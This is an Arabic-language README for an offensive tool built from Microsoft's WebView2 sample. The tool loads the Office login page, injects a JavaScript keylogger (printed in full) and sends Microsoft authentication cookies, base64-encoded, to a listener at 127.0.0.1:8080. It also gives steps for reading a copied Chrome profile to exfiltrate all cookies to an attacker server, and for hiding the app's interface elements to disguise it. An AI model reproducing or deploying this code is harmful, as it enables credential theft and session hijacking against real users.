
يقوم بحقن مسجل ضغطات المفاتيح بلغة JavaScript في صفحات WebView2 لالتقاط ضغطات المفاتيح واستخراج ملفات تعريف الارتباط من جلسات مصادقة Microsoft عبر طلبات HTTP GET.
يرجى قراءة هذه التدوينة للحصول على مزيد من المعلومات.
هذا الكود هو نسخة معدلة من كود WebView2 من مايكروسوفت. يمكن تنظيف الكود الحالي وتحسينه بشكل كبير.
تم الاختبار على ويندوز 10 و 11.
عند تنفيذ الملف الثنائي، يتم تحميل https://office.com/login. يتم حقن مسجل ضربات لوحة المفاتيح بلغة JavaScript في كل صفحة ويتم إرسال ضربات المفاتيح إلى http://127.0.0.1:8080. علاوة على ذلك، بعد أن يقوم المستخدم بتسجيل الدخول بنجاح، يتم ترميز ملفات تعريف الارتباط لـ login.microsoftonline.com بصيغة base64 وإرسالها إلى http://127.0.0.1:8080 عبر طلب GET HTTP.
إذا كنت ترغب في تعديل JavaScript، فالكود الذي يحتاج إلى التغيير موضح أدناه في السطر 1096 في ملف AppWindow.cpp.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
يتيح WebView2 الإطلاق باستخدام مجلد بيانات مستخدم (UDF) موجود بدلاً من إنشاء مجلد جديد. يحتوي UDF على جميع كلمات المرور والجلسات والإشارات المرجعية وما إلى ذلك. يوجد UDF الخاص بـ Chrome في المسار C:\Users\<username>\AppData\Local\Google\Chrome\User Data. يمكننا ببساطة إخبار WebView2 ببدء المثيل باستخدام هذا الملف الشخصي وعند الإطلاق استخراج جميع ملفات تعريف الارتباط ونقلها إلى خادم المهاجم.
العيب الوحيد هو أن WebView2 يبحث عن مجلد باسم EBWebView بدلاً من User Data (لست متأكدًا لماذا). قم بنسخ مجلد User Data وإعادة تسميته إلى EBWebView.
في السطر 41 في ملف app.cpp:
std::wstring userDataFolder(L""); إلى std::wstring userDataFolder(L"C:\\Path\\To\\Temp");EBWebView الذي سيقرأ منه WebView2.في السطر 40 في ملف ScenarioCookieManagement.cpp:
GetCookiesHelper(L"https://login.microsoftonline.com"); إلى GetCookiesHelper(L"");عند استدعاء GetCookiesHelper دون توفير أي موقع ويب، فإنه سيستخرج جميع ملفات تعريف الارتباط.
ملاحظة: لن يعمل هذا مع التطبيق الحالي إذا كان هناك عدد كبير من ملفات تعريف الارتباط لأن التطبيق يرسلها باستخدام طلب GET مما له حد طول.
إذا كنت ترغب في إجراء تعديلات على الملف الثنائي، فستجد معلومات حول الدوال المهمة أدناه.
GetUri() على عنوان URL الذي يتم تحميله عند تنفيذ الملف الثنائي.SendCookies() على عنوان IP والمنفذ حيث يتم إرسال ملفات تعريف الارتباط.CallCookieFunction() حتى يبدأ عنوان URL بـ https://www.office.com/?auth= ثم تستدعي ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")POPUP إلى "".IDS_APP_TITLE و IDC_WEBVIEW2APISAMPLE. هذا هو اسم التطبيق في شريط العنوان.IDI_WEBVIEW2APISAMPLE و IDI_WEBVIEW2APISAMPLE_INPRIVATE و IDI_SMALL. تشير هذه إلى ملف وهو أيقونة هذا التطبيق..icoitemHeight إلى 0 لإزالة القائمة العلوية. تمت معالجة هذا بالفعل في هذا الكود.LoadImage() (أي جعلها غير فعالة). هذا يخفي صورة الشاشة الزرقاء. تمت معالجة هذا بالفعل في هذا الكود.new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); إلى true. هذا يخفي شريط الأدوات. تمت معالجة هذا بالفعل في هذا الكود.